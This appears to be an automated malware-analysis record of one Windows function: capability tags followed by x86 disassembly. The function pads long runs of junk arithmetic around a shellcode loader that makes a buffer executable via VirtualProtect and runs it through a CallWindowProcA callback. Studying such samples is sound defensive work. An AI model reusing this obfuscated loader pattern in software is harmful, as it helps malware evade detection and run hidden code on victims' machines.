Function at 0x405c19
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x431040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
shr ecx, 0xb6
movsx ebx, bl
sub eax, edi
mov cx, 0xa5
add edx, eax
ror edx, 0x76
mul ax
rol dx, 0xff
imul eax
rol ebx, 0xe8
inc edi
shl si, 1
or bx, 0xfd
shl si, 0x41
inc esi
mul di
xor ax, di
inc di
shr si, 0x9c
rol si, 3
jae 0x405c8a
cmp edx, 0x56
ja 0x405cc7
shr di, 0x69
inc ebx
shl ebx, 0x43
dec dx
dec si
shl edi, 0x26
imul ebx
rol ecx, 0xe6
rol ecx, 0xf9
rcl ecx, 0xe3
jmp 0x405c9f
inc di
imul eax
mov cx, 0x2c8
rcl ax, 0x29
xor eax, 0xc2
shl edi, 0xc5
inc ecx
rcr edx, 0x7c
mov eax, 0x3a8
movzx ecx, al
inc esi
dec ax
shl eax, 0xc4
mul dx
jb 0x405cc7
sub edx, 0x1b6
dec ebx
imul ax
sub edi, 0xa1
jmp 0x405cd8
add ecx, 0x1bd
rol cx, 0xbd
inc ebx
rcl ebx, 0xd6
shr edx, 0x3a
inc bx
inc cx
sub eax, ecx
movsx edx, si
imul esi
xor ecx, edi
and si, ax
rol eax, 0xb5
and esi, 0x14c
ja 0x405cfa
or eax, 0x325
jmp 0x405d0a
rcr edx, 0xbf
and di, 0x8a
inc di
shl edx, 0x5f
ror edi, 0x9c
shr bx, 9
sub eax, eax
shl ebx, 0x2e
mul edi
dec eax
mul esi
ror edi, 0xef
jae 0x405d3c
movsx ecx, cl
dec edx
rcr esi, 0xee
movzx ecx, bh
dec esi
inc cx
add di, 0x369
rcr di, 0x66
shr bx, 0x93
imul dx
jmp 0x405d4d
shr si, 0x45
dec dx
rcr si, 0x96
rol ecx, 0x45
rcr cx, 0x3e
and cx, 0x56
imul ax
shr bx, 0x11
sub dx, dx
jb 0x405d85
test esi, 0x3c
jb 0x405db2
mov di, cx
xor edx, 0x1cb
shl esi, 0xa9
inc esi
shr di, 0x78
add edx, edi
shl ebx, 0x93
or ebx, ecx
and edi, 0x1e9
jmp 0x405d88
rcr edx, 0x98
shr ebx, 0x1b
sub edx, 0xca
inc esi
and ax, 0x131
rcl bx, 0xe7
jae 0x405db2
test esi, 0xc
jae 0x405dc9
dec ax
inc edi
shr esi, 0x15
sub ebx, 0x359
jmp 0x405db8
mov ax, ax
rcr edx, 0x37
or si, si
mul dx
je 0x405dc9
cmp edx, 0x40
jae 0x405e21
imul ebx
jmp 0x405de3
shr ecx, 0x7a
shr cx, 0x82
dec bx
rol edx, 0x76
dec ax
shl di, 0x31
rcr edi, 0xb7
dec esi
rcl cx, 0xb
xor eax, 0x5f
mul bx
ror ax, 0xb3
dec edx
rol dx, 8
imul bx
xor ecx, 0x24
rcl di, 0xd3
rcl dx, 0x4f
jb 0x405e21
test esi, 0x59
jae 0x405e6c
shr ecx, 0x69
mov ebx, edx
or ebx, ecx
or eax, ebx
mul si
and ebx, 0x3c3
shl edi, 0x88
jmp 0x405e46
and si, di
add bx, 0xcc
shl esi, 0xbb
rcl dx, 0xf7
movzx eax, si
mul esi
xor di, 0x113
or ebx, 0x238
imul bx
imul ax
rcl ecx, 0x30
shr edi, 0x89
or edi, ecx
mul dx
mul ax
jae 0x405e6c
cmp edi, 0xc
je 0x405ea0
shl ebx, 0xf4
mul edx
shr esi, 0xa5
ror eax, 0x74
shr si, 0xe1
jmp 0x405e7b
imul edi
inc edi
ror esi, 0xb2
rol eax, 0x6b
inc eax
and di, 0x8c
shr ecx, 0x3a
mul esi
mov edx, 0x370
sub si, di
mov edi, 0x77
jae 0x405ea0
mov eax, eax
shl ax, 0x8e
dec ecx
inc si
and di, bx
mov di, si
jmp 0x405eb9
or bx, 0x14c
shr edi, 0xd1
shr ebx, 0x78
xor ecx, ebx
or edi, ecx
rcr edi, 0x32
rol si, 0xd
rcl edx, 0x84
sub bx, cx
mul esi
dec ebx
shl ecx, 0x4c
mul dx
add ax, 0x247
mov ax, 0x30e
rcl ax, 0xc6
push str.0000000006:1_0000000005:_
lea ecx, [ebp - 0x1c]
call fcn.004025d2
push 0xc
call fcn.004093fc
xor ebx, ebx
pop ecx
test eax, eax
je 0x405ef9
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004026b7
jmp 0x405efb
mov eax, ebx
push 0xc
push eax
call fcn.0040942c
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], ebx
push eax
mov dword [ebp - 0x20], ebx
call fcn.004013b7
add esp, 0xc
mov dword [ebp - 0x24], eax
mov esi, ebx
lea eax, [ebp - 0x30]
mov byte [ebp - 0x30], 0x42
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x2c], esi
push eax
lea ecx, [ebp - 0x24]
call fcn.00401640
mov eax, dword [0x432250]
push 0x4263e8
push 0x6f
mov ecx, dword [eax + 4]
mov eax, dword [ecx + 0x432264]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x432264], eax
mov ecx, 0x432250
call fcn.00402c3f
push eax
call fcn.004011c0
inc esi
pop ecx
pop ecx
cmp esi, 0xa
jl 0x405f1a
push str.VirtualProtect
push str.kernel32.dll
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x28]
mov edi, 0x4ac
push ecx
push 0x40
push edi
mov esi, 0x44f618
push esi
call eax
push edi
push esi
call fcn.004045aa
pop ecx
pop ecx
call fcn.00404590
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push ebx
push ebx
push 0x434018
push 0x44f7a0
call dword [sym.imp.USER32.dll_CallWindowProcA]
lea eax, [ebp - 0x24]
push eax
mov ecx, eax
call fcn.004016d2
lea ecx, [ebp - 0x1c]
call fcn.004043bb
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040943f
leave
ret 0x10